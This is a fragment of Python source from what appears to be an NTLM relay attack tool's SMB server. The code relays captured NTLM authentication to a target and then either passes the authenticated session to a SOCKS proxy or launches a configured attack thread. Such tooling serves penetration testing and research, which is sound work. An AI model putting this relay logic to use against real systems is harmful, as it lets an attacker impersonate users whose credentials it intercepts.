791 #Since the clients all support the same operations there is no target protocol specific code needed for now
792 return client.sendNegotiate(token)
794 def do_ntlm_auth(self,client,SPNEGO_token,challenge):
795 #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB
796 clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge)
798 return clientResponse, errorCode
800 def do_attack(self,client):
801 #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties
802 # Check if SOCKS is enabled and if we support the target scheme
803 if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes:
804 if self.config.runSocks is True:
805 # Pass all the data to the socksplugins proxy
806 activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(),
807 self.authUser, client, client.sessionData))
808 return
810 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
811 if self.target.scheme.upper() in self.config.attacks:
812 # We have an attack.. go for it
813 clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser)
814 clientThread.start()
815 else:
816 LOG.error('No attack configured for %s' % self.target.scheme.upper())
818 def _start(self):
819 self.server.daemon_threads=True
820 self.server.serve_forever()
821 LOG.info('Shutting down SMB Server')
822 self.server.server_close()
824 def run(self):
825 LOG.info("Setting up SMB Server")
826 self._start()